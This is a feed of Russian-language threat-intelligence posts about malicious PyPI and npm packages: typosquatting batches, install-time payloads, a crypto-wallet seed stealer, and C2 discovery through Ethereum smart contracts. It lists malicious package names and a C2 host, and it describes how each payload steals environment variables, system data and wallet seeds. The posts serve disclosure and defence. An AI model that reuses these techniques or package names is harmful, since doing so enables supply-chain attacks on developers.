Изучим проекты, выпустившие свой первый релиз в рамках действия кампании 26 июня — 7 июля, захватив слева и справа дополнительное время для наглядности: с 12 июня по 15 июля.

Разработчик, публикуя проект, может по желанию оставить email для обратной связи. В этот промежуток было опубликовано всего 4 пакета с явным указанием почты на <code>@inbox.ru</code>, все легитимные.

График 1 (см. ниже) демонстрирует, принял ли решение разработчик указать email в первом релизе своего проекта.

<img fetchpriority="high" decoding="async" class="attachment-large size-large" src="/wp-content/uploads/2025/07/photo_323@21-07-2025_15-26-11-1024x526.jpg" sizes="auto, (max-width: 1024px) 100vw, 1024px" srcset="/wp-content/uploads/2025/07/photo_323@21-07-2025_15-26-11-1024x526.jpg 1024w, /wp-content/uploads/2025/07/photo_323@21-07-2025_15-26-11-300x154.jpg 300w, /wp-content/uploads/2025/07/photo_323@21-07-2025_15-26-11-768x395.jpg 768w, /wp-content/uploads/2025/07/photo_323@21-07-2025_15-26-11.jpg 1280w" alt="" width="1024" height="526" />
Наблюдаем:
1. Снижение общей активности разработчиков в выходные (видны двухдневные ямы, чередующиеся с пятидневными буднями).
2. Всплески пакетов без email, выпущенные 27 июня (378), 30 июня (662), 1 июля (509).

Второе наблюдение соотносится со статистикой PyPI: 27 июня выпущено 295 пакетов на <code>@inbox.ru</code>, 30 июня — 740, 1 июля — 249, с поправкой на часовые пояса.

В рамках периода активности есть 1403 проекта без email с одинаковым описанием: &#8220;Minimal package created automatically&#8221; — и версией 0.0.1 (график 2). Они совпадают с периодом активности кампании, которой были недовольны администраторы PyPI.

Названия пакетов из этой пачки — явный тайпсквоттинг (атака на то, что разработчик опечатается в названии пакета при установке или поведется на хорошее название — и поставит себе троян):
🟢<code>avoid</code> 🐱
🟢<code>common-io</code>
🟢<code>win32crypt</code>
🟢<code>win32com</code>
🟢<code>pywintypes</code>
🟢<code>jsap</code>
🟢<code>webdav2</code>
🟢<code>arbuzmining</code> 🍉
🟢<code>requirements-cpu-txt</code>
🟢<code>requirements-cuda-txt</code>
🟢<code>dl-pivot-pandas</code>
🟢<code>steambaselib</code> 💀
🟢<code>catboost-spark</code>
🟢<code>numpynumpy</code>
🟢<code>antlr4-runtime</code>
🟢<code>celery-telegram</code>
🟢<code>exllama-kernels</code>
🟢<code>booking-api</code>

Некоторые из названий тагретят разработчиков российских компаний:
🟢<code>youla-spark-session</code> 🐱
🟢<code>ipy-kaspersky</code> 💀
🟢<code>vkads</code>
🟢<code>vkpay</code>
🟢<code>vkplay-sync</code> 😺
🟢<code>vkplay-metrics</code>

На этих названиях становится понятно, что администрация PyPI пресекла кампанию, от которой могли пострадать наши соотечественники 🥺

<strong>Оправдано ли внесение почты </strong><code>@inbox.ru</code><strong> в чёрный список?</strong>

В настоящее время при создании почтового ящика на <code>@inbox.ru</code> требуется номер телефона или учётная запись VK. Есть <a href="https://otvet.mail.ru/question/234228102" target="_blank" rel="noopener">упоминание</a>, что два года назад можно было обойтись без почты. Также <a href="https://help.mail.ru/mail/account/aliases/" target="_blank" rel="noopener">можно создать до 10 анонимных ящиков к своей основной почте</a> в рамках официального функционала <a href="http://mail.ru" target="_blank" rel="noopener">mail.ru</a>.

Вероятно немаловажную роль играет простота автоматизации и более простой обход эвристик на подозрительные действия, раз злоумышленник смог управлять 207 почтами в рамках 4 часов.

Зарегистрированных на PyPI разработчиков, привязавших почту <code>@inbox.ru</code>, &#8220;репрессии&#8221; не касаются — были заблокированы только &#8220;пользователи&#8221;, участвовавшие в кампании. Нельзя создавать новые учётные записи или привязывать эти ящики к существующим аккаунтам.

<strong>Подводя итог</strong>

Ограничение создания новых учётных записей с использованием почты на <code>@inbox.ru</code> — закономерная реакция на кампанию, в рамках которой пара сотен учётных записей, зарегистрированных за короткое время, начинает творить беспредел.

Почтовые домены от Microsoft также год назад попали под блокировку, это дополнительно уменьшает вероятность, что в этих действиях выражается какое-либо предвзятое отношение.

Получился опенсорсный myth busters 👀

<span class="hashtag">#ti</span> <span class="hashtag">#pypi</span> <span class="hashtag">#pyanalysis</span> <span class="hashtag">#scs</span>
<a href="https://t.me/ptescalator" target="_blank" rel="noopener">@ptescalator</a>]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Mmaallwwaarree iinn ooppeennssoouurrccee!</title>
		<link>/mmaallwwaarree-iinn-ooppeennssoouurrccee/</link>
		
		<dc:creator><![CDATA[ti_author]]></dc:creator>
		<pubDate>Wed, 26 Mar 2025 13:39:27 +0000</pubDate>
				<category><![CDATA[Threat Intelligence]]></category>
		<category><![CDATA[pyanalysis]]></category>
		<category><![CDATA[scs]]></category>
		<category><![CDATA[TI]]></category>
		<guid isPermaLink="false">http://localhost:8080/mmaallwwaarree-iinn-ooppeennssoouurrccee/</guid>

					<description><![CDATA[Mmaallwwaarree iinn ooppeennssoouurrccee! В сети развивается примечательная кампания одного исследователя. Ему принадлежат следующие пакеты: Пользователь lastbright: 🟢yyttt 🟢bbllaacckkwwoollff 🟢bbllaacckkwwoollff-6ad8f762-1a91-45d7-a9c5-356bd858356a 🟢bbllaacckkwwoollff6ad8f762 🟢bbllaacckkwwoollff6ad8f751 🟢bbllaacckkwwoollff6ad8f752 🟢bbllaacckkwwoollff6ad8f753 Пользователь lifeyi2253: 🟢f2d5cfdc642c3d4 🟢f2d5cfdc642c3d5 Нагрузка отрабатывает в момент установки…]]></description>
										<content:encoded><![CDATA[<p><strong>Mmaallwwaarree iinn ooppeennssoouurrccee!</strong> </p>
<p>В сети развивается примечательная кампания одного исследователя. Ему принадлежат следующие пакеты:</p>
<p>Пользователь <code>lastbright</code>:<br />
🟢<code>yyttt</code><br />
🟢<code>bbllaacckkwwoollff</code><br />
🟢<code>bbllaacckkwwoollff-6ad8f762-1a91-45d7-a9c5-356bd858356a</code><br />
🟢<code>bbllaacckkwwoollff6ad8f762</code><br />
🟢<code>bbllaacckkwwoollff6ad8f751</code><br />
🟢<code>bbllaacckkwwoollff6ad8f752</code><br />
🟢<code>bbllaacckkwwoollff6ad8f753</code><br />
Пользователь <code>lifeyi2253</code>:<br />
🟢<code>f2d5cfdc642c3d4</code><br />
🟢<code>f2d5cfdc642c3d5</code></p>
<p>Нагрузка отрабатывает в момент установки пакета.</p>
<p>Интересно в реальном времени наблюдать, как развивается кампания:</p>
<p>🔤 PoC с комментариями на китайском. Вероятно, тут приложил руку LLM-ассистент (<em>скриншот 1</em>, библиотека <code>yyttt 0.1</code>).</p>
<p>🔤 Результат работы Unix-команды <code>id</code> отправляется на удаленный сервер (<em>скриншот 2</em>, <code>bbllaacckkwwoollff</code> <code>0.1</code>, <code>0.2</code>).</p>
<p>🔤 Выполняется код, полученный с C2-сервера (<em>скриншот 3</em>, <code>bbllaacckkwwoollff</code> <code>0.3</code>, <code>0.4</code>, <code>bbllaacckkwwoollff-6ad8f762-1a91-45d7-a9c5-356bd858356a 0.1</code>).</p>
<p>🔤 Почему бы не прихватить листинг интересных директорий (<code>/opt/</code>, <code>/run/</code>), переменные окружения и прочую радость (<em>скриншот 4</em>, <code>bbllaacckkwwoollff6ad8f753 0.1</code>)?</p>
<p>🔤 Нет, так много не надо, из директорий достаточно <code>/etc/</code> (<em>скриншот 5</em>, <code>f2d5cfdc642c3d5 0.1</code>).</p>
<p>На хосте либо на виртуалке для тестов злоумышленник использует имя пользователя <code>mind</code>, о чем говорит путь <code>/home/mind/configuration/config.py</code> в четвертой итерации (<em>скриншот 4</em>).</p>
<p>Примечателен принцип именования пакетов. Кроме того, всегда интересно следить, как в режиме реального времени злоумышленник борется с тем, что его пакеты удаляют по репортам 😈</p>
<p>В информационной безопасности есть термин «<a href="https://1275.ru/articles/piramida-boli_8431" rel="noopener" target="_blank">пирамида боли</a>» (The Pyramid of Pain) — он описывает сложность ухода от обнаружения. Так вот, в рамках кампании злоумышленник использует один и тот же уникальный файл <code>__init__.py</code>, представленный <em>на скриншоте 6</em>. Система <a href="https://www.ptsecurity.com/ru-ru/services/pt-pyanalysis/" rel="noopener" target="_blank">PT PyAnalysis</a> легко это подсвечивает 😑</p>
<p>Опасайтесь всяких волков.</p>
<figure class="wp-block-image"><img width="1024" height="1024" src="/wp-content/uploads/2025/03/photo_251@26-03-2025_13-39-27-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="/wp-content/uploads/2025/03/photo_251@26-03-2025_13-39-27-1024x1024.jpg 1024w, /wp-content/uploads/2025/03/photo_251@26-03-2025_13-39-27-300x300.jpg 300w, /wp-content/uploads/2025/03/photo_251@26-03-2025_13-39-27-150x150.jpg 150w, /wp-content/uploads/2025/03/photo_251@26-03-2025_13-39-27-768x768.jpg 768w, /wp-content/uploads/2025/03/photo_251@26-03-2025_13-39-27.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="730" src="/wp-content/uploads/2025/03/photo_252@26-03-2025_13-39-27-1024x730.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="/wp-content/uploads/2025/03/photo_252@26-03-2025_13-39-27-1024x730.jpg 1024w, /wp-content/uploads/2025/03/photo_252@26-03-2025_13-39-27-300x214.jpg 300w, /wp-content/uploads/2025/03/photo_252@26-03-2025_13-39-27-768x548.jpg 768w, /wp-content/uploads/2025/03/photo_252@26-03-2025_13-39-27.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="677" src="/wp-content/uploads/2025/03/photo_253@26-03-2025_13-39-27-1024x677.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="/wp-content/uploads/2025/03/photo_253@26-03-2025_13-39-27-1024x677.jpg 1024w, /wp-content/uploads/2025/03/photo_253@26-03-2025_13-39-27-300x198.jpg 300w, /wp-content/uploads/2025/03/photo_253@26-03-2025_13-39-27-768x508.jpg 768w, /wp-content/uploads/2025/03/photo_253@26-03-2025_13-39-27.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="677" src="/wp-content/uploads/2025/03/photo_254@26-03-2025_13-39-27-1024x677.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="/wp-content/uploads/2025/03/photo_254@26-03-2025_13-39-27-1024x677.jpg 1024w, /wp-content/uploads/2025/03/photo_254@26-03-2025_13-39-27-300x198.jpg 300w, /wp-content/uploads/2025/03/photo_254@26-03-2025_13-39-27-768x508.jpg 768w, /wp-content/uploads/2025/03/photo_254@26-03-2025_13-39-27.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="1024" src="/wp-content/uploads/2025/03/photo_255@26-03-2025_13-39-27-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="/wp-content/uploads/2025/03/photo_255@26-03-2025_13-39-27-1024x1024.jpg 1024w, /wp-content/uploads/2025/03/photo_255@26-03-2025_13-39-27-300x300.jpg 300w, /wp-content/uploads/2025/03/photo_255@26-03-2025_13-39-27-150x150.jpg 150w, /wp-content/uploads/2025/03/photo_255@26-03-2025_13-39-27-768x768.jpg 768w, /wp-content/uploads/2025/03/photo_255@26-03-2025_13-39-27.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<p>
<span class="hashtag">#ti</span> <span class="hashtag">#scs</span> <span class="hashtag">#pyanalysis</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Злоумышленник опубликовал вредоносные пакеты deepseeek и deepseekai в Python Package Index</title>
		<link>/an-attacker-published-malicious-packages-named-deepseeek-and-deepseekai-in-the-python-package-index/</link>
		
		<dc:creator><![CDATA[ti_author]]></dc:creator>
		<pubDate>Fri, 31 Jan 2025 17:25:42 +0000</pubDate>
				<category><![CDATA[Threat Intelligence]]></category>
		<category><![CDATA[pyanalysis]]></category>
		<category><![CDATA[pypi]]></category>
		<category><![CDATA[scs]]></category>
		<category><![CDATA[TI]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d0%b7%d0%bb%d0%be%d1%83%d0%bc%d1%8b%d1%88%d0%bb%d0%b5%d0%bd%d0%bd%d0%b8%d0%ba-%d0%be%d0%bf%d1%83%d0%b1%d0%bb%d0%b8%d0%ba%d0%be%d0%b2%d0%b0%d0%bb-%d0%b2%d1%80%d0%b5%d0%b4%d0%be%d0%bd%d0%be%d1%81%d0%bd/</guid>

					<description><![CDATA[Злоумышленник опубликовал вредоносные пакеты deepseeek и deepseekai в Python Package Index 🐳 Команда Supply Chain Security департамента Threat Intelligence PT ESC обнаружила вредоносную кампанию на фоне популярной темы последних дней. Злоумышленник, создавший…]]></description>
										<content:encoded><![CDATA[<strong>Злоумышленник опубликовал вредоносные пакеты deepseeek и deepseekai в Python Package Index</strong> 🐳<br />
<br />
Команда Supply Chain Security департамента Threat Intelligence PT ESC <a href="https://www.ptsecurity.com/ru-ru/research/pt-esc-threat-intelligence/vredonosnye-pakety-deepseeek-i-deepseekai-byli-opublikovany-v-python-package-index/?utm_source=tg_seclab&#038;utm_medium=post&#038;utm_campaign=esc&#038;utm_content=31_01" rel="noopener" target="_blank">обнаружила вредоносную кампанию</a> на фоне популярной темы последних дней. Злоумышленник, создавший учетную запись <code>bvk</code> в июне 2023 года и до этого не проявлявший активность, 29 января 2025 года зарегистрировал <strong>вредоносные пакеты deepseeek и deepseekai</strong>.<br />
<br />
Найденные пакеты после установки крадут переменные окружения при вызове консольных команд deepseeek или deepseekai <em>(скриншот 2)</em>. Переменные окружения обычно ценны тем, что в них могут содержаться чувствительные данные, используемые в рамках функционирования приложения, например данные доступа к объектному хранилищу S3 или другим ресурсам инфраструктуры.<br />
<br />
Примечательно, что код создан с использованием ИИ-ассистента, на что указывают характерные комментарии <em>(скриншот 3)</em>.<br />
<br />
Мы оперативно уведомили администраторов репозитория, <strong>пакеты были отправлены в карантин и вскоре удалены</strong>. Несмотря на быструю реакцию, их успели скачать 36 раз пакетным менеджером pip и средством зеркалирования bandersnatch, еще 186 раз — при помощи браузера, requests и других средств.<br />
<br />
Сохраняйте бдительность: злоумышленники постоянно ищут такие удачные названия для осуществления атак в опенсорсе 🐱.<br />
<br />
<strong>IoCs:</strong><br />
<br />
<pre class="wp-block-code"><span><code lang="yaml" class="hljs language-yaml language-yaml"><span class="hljs-attr">пакет PyPI:</span> <span class="hljs-string">deepseeek</span>
<span class="hljs-attr">пакет PyPI:</span> <span class="hljs-string">deepseekai</span>
<span class="hljs-attr">c2:</span> <span class="hljs-string">eoyyiyqubj7mquj.m.pipedream.net</span></code></span></pre>

<figure class="wp-block-image"><img width="1024" height="597" src="/wp-content/uploads/2025/01/photo_194@31-01-2025_17-25-42-1024x597.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="/wp-content/uploads/2025/01/photo_194@31-01-2025_17-25-42-1024x597.jpg 1024w, /wp-content/uploads/2025/01/photo_194@31-01-2025_17-25-42-300x175.jpg 300w, /wp-content/uploads/2025/01/photo_194@31-01-2025_17-25-42-768x448.jpg 768w, /wp-content/uploads/2025/01/photo_194@31-01-2025_17-25-42.jpg 1200w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="996" height="700" src="/wp-content/uploads/2025/01/photo_195@31-01-2025_17-25-42.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="/wp-content/uploads/2025/01/photo_195@31-01-2025_17-25-42.jpg 996w, /wp-content/uploads/2025/01/photo_195@31-01-2025_17-25-42-300x211.jpg 300w, /wp-content/uploads/2025/01/photo_195@31-01-2025_17-25-42-768x540.jpg 768w" sizes="auto, (max-width: 996px) 100vw, 996px" /></figure>

<br />
<br />
<span class="hashtag">#ti</span> <span class="hashtag">#pypi</span> <span class="hashtag">#pyanalysis</span> <span class="hashtag">#scs</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a>]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Первые шаги на хакерском поприще</title>
		<link>/first-steps-in-the-hacking-field/</link>
		
		<dc:creator><![CDATA[ti_author]]></dc:creator>
		<pubDate>Tue, 24 Dec 2024 14:57:47 +0000</pubDate>
				<category><![CDATA[Threat Intelligence]]></category>
		<category><![CDATA[pyanalysis]]></category>
		<category><![CDATA[pypi]]></category>
		<category><![CDATA[scs]]></category>
		<category><![CDATA[TI]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d0%bf%d0%b5%d1%80%d0%b2%d1%8b%d0%b5-%d1%88%d0%b0%d0%b3%d0%b8-%d0%bd%d0%b0-%d1%85%d0%b0%d0%ba%d0%b5%d1%80%d1%81%d0%ba%d0%be%d0%bc-%d0%bf%d0%be%d0%bf%d1%80%d0%b8%d1%89%d0%b5/</guid>

					<description><![CDATA[Первые шаги на хакерском поприще 🐱 Опенсорс — интересная среда для наблюдений за развитием проектов. Занятно изучать реализацию первых версий популярных библиотек наподобие boto3, scikit-learn, requests (концепт-план версии 0.2.0 — вполне креативный).…]]></description>
										<content:encoded><![CDATA[<p><strong>Первые шаги на хакерском поприще</strong> 🐱</p>
<p>Опенсорс — интересная среда для наблюдений за развитием проектов. Занятно изучать реализацию первых версий популярных библиотек наподобие <code>boto3</code>, <code>scikit-learn</code>, <code>requests</code> (<a href="https://pypi.org/project/requests/0.2.0/" rel="noopener" target="_blank">концепт-план</a> версии 0.2.0 — вполне креативный).</p>
<p>Интересно наблюдать и за людьми, которые вместо использования популярных стилеров и RAT пробуют себя в написании собственных решений.</p>
<p>1️⃣ <strong>Пользователь SpaceyLad создал цепочку из двух пакетов:</strong></p>
<p>🟢<code>not-so-evil-package-spaceylad</code>, код которого представлен <em>на скриншотах 1</em> (оригинальная версия) <em>и 2</em> (после автоматической деобфускации). Этот пакет отвечает за хранение строки с командой для скачивания нагрузки.</p>
<p>🟢<code>not-evil-calculator-spaceylad</code>, который непосредственно запустит команду, — <em>скриншот 3</em>.</p>
<p>В первом пакете во всех версиях, кроме 0.0.5, скачивается безобидный файл с расширением <code>.css</code>. Если вам не повезло, со страницы автора на PythonAnywhere скачан файл <code>evil_python.exe</code>, представляющий собой&#8230; <code>calc.exe</code> из пакета стандартных программ Windows. Но и в этом случае нагрузка отработает при наличии пользователя <code>IXY</code>.</p>
<p>Из занятного — в релизах проектов оставлены папки <code>.idea</code> (папка проекта в IDE PyCharm) и <code>.venv</code> (папка с виртуальным окружением Python), которые, помимо скудной информации об авторе пакета, позволили узнать нам оригинальное название проекта — <code>pip_evil_package</code>. Также благодаря нехитрой цепочке «гугления» выясняется, что <em>разработчик</em> является студентом факультета кибербезопасности одного из университетов Норвегии 🐈</p>
<p>2️⃣ <strong>В июле-августе 2024 года существовал пакет </strong><code>recovery</code>, задача которого согласно описанию была простой: <code>Checks recovery phone numbers against login page on yahoo</code>. Имя автора, <code>ExodusChecker</code>, вызывает смутные подозрения, но давайте не будем торопиться.</p>
<p>Первые версии пакета выглядят безобидными (<em>скриншот 4</em> — для версий 0.0.1–0.0.3), затем появляются первые подсказки по вредоносной функциональности (<em>скриншот 5</em> — версии 0.0.4–0.0.9). Начиная с версии 0.1.0 появляется логика замены файла ресурсов для криптокошелька Exodus (<em>скриншот 6</em>), а с версии 0.1.4 злоумышленник учится прикладывать бинарные файлы в релиз.</p>
<p>Автор на протяжении 19 релизов наращивает функциональность, постепенно превращая proof of concept с абсолютными путями (привет, юзер с именем <code>hammy</code>, тестирующий на <code>Exodus 24.31.4</code>) в универсальный работающий код. Далее велись лишь QoL-работы. Конечный результат вы можете видеть на <em>скриншоте 7</em>, он отражает тридцатый по счeту релиз — 0.3.1. Скрипт <code>suckme.bat</code>, сохраняемый в папку автозагрузки, — это отдельный анекдот.</p>
<p>Сам подменяемый <code>app.asar</code> использует технику, <a href="https://jfrog.com/blog/impala-stealer-malicious-nuget-package-payload/" rel="noopener" target="_blank">ранее описанную JFrog в Impala Stealer</a>, по отношению к хранилищу пакетов .NET NuGet: функция <code>unlock</code> из <code>app/wallet/index.js</code> получает функциональность отправки сид-фразы злоумышленнику (<em>скриншоты 8, 9</em>).</p>
<p>Простой способ защититься от такого рода напастей — использовать изолированное от пользовательских файлов окружение, например Docker-контейнеры. Это может не спасти конечных пользователей, но разработчики будут в определенной степени защищены от типовых атак. Кроме того, можно посмотреть в сторону <a href="https://www.ptsecurity.com/ru-ru/services/pt-pyanalysis/" rel="noopener" target="_blank">PyAnalysis</a> 😍</p>
<p>Желаем в наступающем новом году оставаться в безопасности от проделок злоумышленников 🎂</p>
<figure class="wp-block-image"><img width="1024" height="1024" src="/wp-content/uploads/2024/12/photo_155@24-12-2024_14-57-47-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="/wp-content/uploads/2024/12/photo_155@24-12-2024_14-57-47-1024x1024.jpg 1024w, /wp-content/uploads/2024/12/photo_155@24-12-2024_14-57-47-300x300.jpg 300w, /wp-content/uploads/2024/12/photo_155@24-12-2024_14-57-47-150x150.jpg 150w, /wp-content/uploads/2024/12/photo_155@24-12-2024_14-57-47-768x768.jpg 768w, /wp-content/uploads/2024/12/photo_155@24-12-2024_14-57-47.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="1024" src="/wp-content/uploads/2024/12/photo_156@24-12-2024_14-57-47-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="/wp-content/uploads/2024/12/photo_156@24-12-2024_14-57-47-1024x1024.jpg 1024w, /wp-content/uploads/2024/12/photo_156@24-12-2024_14-57-47-300x300.jpg 300w, /wp-content/uploads/2024/12/photo_156@24-12-2024_14-57-47-150x150.jpg 150w, /wp-content/uploads/2024/12/photo_156@24-12-2024_14-57-47-768x768.jpg 768w, /wp-content/uploads/2024/12/photo_156@24-12-2024_14-57-47.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="1024" src="/wp-content/uploads/2024/12/photo_157@24-12-2024_14-57-47-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="/wp-content/uploads/2024/12/photo_157@24-12-2024_14-57-47-1024x1024.jpg 1024w, /wp-content/uploads/2024/12/photo_157@24-12-2024_14-57-47-300x300.jpg 300w, /wp-content/uploads/2024/12/photo_157@24-12-2024_14-57-47-150x150.jpg 150w, /wp-content/uploads/2024/12/photo_157@24-12-2024_14-57-47-768x768.jpg 768w, /wp-content/uploads/2024/12/photo_157@24-12-2024_14-57-47.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="1024" src="/wp-content/uploads/2024/12/photo_158@24-12-2024_14-57-47-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="/wp-content/uploads/2024/12/photo_158@24-12-2024_14-57-47-1024x1024.jpg 1024w, /wp-content/uploads/2024/12/photo_158@24-12-2024_14-57-47-300x300.jpg 300w, /wp-content/uploads/2024/12/photo_158@24-12-2024_14-57-47-150x150.jpg 150w, /wp-content/uploads/2024/12/photo_158@24-12-2024_14-57-47-768x768.jpg 768w, /wp-content/uploads/2024/12/photo_158@24-12-2024_14-57-47.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="1024" src="/wp-content/uploads/2024/12/photo_159@24-12-2024_14-57-47-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="/wp-content/uploads/2024/12/photo_159@24-12-2024_14-57-47-1024x1024.jpg 1024w, /wp-content/uploads/2024/12/photo_159@24-12-2024_14-57-47-300x300.jpg 300w, /wp-content/uploads/2024/12/photo_159@24-12-2024_14-57-47-150x150.jpg 150w, /wp-content/uploads/2024/12/photo_159@24-12-2024_14-57-47-768x768.jpg 768w, /wp-content/uploads/2024/12/photo_159@24-12-2024_14-57-47.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="1024" src="/wp-content/uploads/2024/12/photo_160@24-12-2024_14-57-47-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="/wp-content/uploads/2024/12/photo_160@24-12-2024_14-57-47-1024x1024.jpg 1024w, /wp-content/uploads/2024/12/photo_160@24-12-2024_14-57-47-300x300.jpg 300w, /wp-content/uploads/2024/12/photo_160@24-12-2024_14-57-47-150x150.jpg 150w, /wp-content/uploads/2024/12/photo_160@24-12-2024_14-57-47-768x768.jpg 768w, /wp-content/uploads/2024/12/photo_160@24-12-2024_14-57-47.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="1024" src="/wp-content/uploads/2024/12/photo_161@24-12-2024_14-57-47-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="/wp-content/uploads/2024/12/photo_161@24-12-2024_14-57-47-1024x1024.jpg 1024w, /wp-content/uploads/2024/12/photo_161@24-12-2024_14-57-47-300x300.jpg 300w, /wp-content/uploads/2024/12/photo_161@24-12-2024_14-57-47-150x150.jpg 150w, /wp-content/uploads/2024/12/photo_161@24-12-2024_14-57-47-768x768.jpg 768w, /wp-content/uploads/2024/12/photo_161@24-12-2024_14-57-47.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="1024" src="/wp-content/uploads/2024/12/photo_162@24-12-2024_14-57-47-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="/wp-content/uploads/2024/12/photo_162@24-12-2024_14-57-47-1024x1024.jpg 1024w, /wp-content/uploads/2024/12/photo_162@24-12-2024_14-57-47-300x300.jpg 300w, /wp-content/uploads/2024/12/photo_162@24-12-2024_14-57-47-150x150.jpg 150w, /wp-content/uploads/2024/12/photo_162@24-12-2024_14-57-47-768x768.jpg 768w, /wp-content/uploads/2024/12/photo_162@24-12-2024_14-57-47.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<p><span class="hashtag">#ti</span> <span class="hashtag">#pypi</span> <span class="hashtag">#pyanalysis</span> <span class="hashtag">#scs</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Через блокчейн к данным</title>
		<link>/through-blockchain-to-data/</link>
		
		<dc:creator><![CDATA[ti_author]]></dc:creator>
		<pubDate>Tue, 26 Nov 2024 16:00:15 +0000</pubDate>
				<category><![CDATA[Threat Intelligence]]></category>
		<category><![CDATA[npm]]></category>
		<category><![CDATA[pyanalysis]]></category>
		<category><![CDATA[scs]]></category>
		<category><![CDATA[TI]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d1%87%d0%b5%d1%80%d0%b5%d0%b7-%d0%b1%d0%bb%d0%be%d0%ba%d1%87%d0%b5%d0%b9%d0%bd-%d0%ba-%d0%b4%d0%b0%d0%bd%d0%bd%d1%8b%d0%bc/</guid>

					<description><![CDATA[Через блокчейн к данным ⭐️ Исследователи из Socket и Checkmarx рассказали об интересной вредоносной кампании в NPM. Злоумышленники мимикрировали под плагины для Puppeteer и блокчейн-клиенты. Для получения IP-адреса актуального командного сервера используется…]]></description>
										<content:encoded><![CDATA[<strong>Через блокчейн к данным</strong> ⭐️<br />
<br />
Исследователи из <a href="https://socket.dev/blog/massive-npm-malware-campaign-leverages-ethereum-smart-contracts" rel="noopener" target="_blank">Socket</a> и <a href="https://checkmarx.com/uncategorized/supply-chain-attack-using-ethereum-smart-contracts-to-distribute-multi-platform-malware/" rel="noopener" target="_blank">Checkmarx</a> рассказали об интересной вредоносной кампании в NPM. Злоумышленники мимикрировали под плагины для <a href="https://www.npmjs.com/package/puppeteer" rel="noopener" target="_blank">Puppeteer</a> и блокчейн-клиенты. Для получения IP-адреса актуального командного сервера используется смарт-контракт в блокчейне Ethereum 😦<br />
<br />
<strong>Из занятного — в коде библиотек используется несколько комментариев на русском:</strong><br />
<br />
<strong>•</strong> <code>console.error(&quot;Ошибка при получении IP адреса:&quot;, err)</code>;<br />
<strong>•</strong> <code>console.error(&quot;Ошибка при запуске файла:&quot;, _0x88fda8)</code>;<br />
<strong>•</strong> <code>console.error(&quot;Ошибка установки:&quot;, _0x14ce94)</code>;<br />
<br />
Socket предлагает быть осторожным с атрибуцией, так как это может быть следствием переиспользования кода либо сделано нарочно.<br />
<br />
В зависимости от вашей платформы будет скачан и запущен один из следующих исполняемых файлов: <code>node-win.exe</code>, <code>node-linux</code>, <code>node-macos</code>. Ниже мы будем называть их агентами.<br />
<br />
<strong>Мы изучили кампанию подробнее и обнаружили еще несколько интересных деталей.</strong><br />
<br />
1️⃣ Несмотря на то что Socket и Checkmarx приводят только один IP-адрес в качестве сетевого IoC, функция назначения нового URL в смарт-контракте вызывалась несколько раз. Всего нам известно о пяти адресах, и самым ранним из них был <code>http://localhost:3001</code> 😈, остальные представляют собой VPS-серверы.<br />
<br />
2️⃣ Агент умеет закрепляться в системе и так же, как и JS-библиотеки, скачивающие и запускающие его, получать C2 через блокчейн. Исполняемый файл представляет собой Node.js Single Executable Application, который упаковывает проект и интерпретатор JS в единый файл.<br />
<br />
3️⃣ Агент периодически опрашивает сервер на предмет команд в виде JS-кода. Первая нагрузка собирает информацию о системе жертвы: модель процессора, количество ядер, объем оперативной памяти, данные о видеокарте. Полученная информация отправляется обратно на сервер.<br />
<br />
4️⃣ Агенты получают просто true, если нет новых задач. Из интересного: корень HTTP-сервера возвращал следующую ошибку:<br />
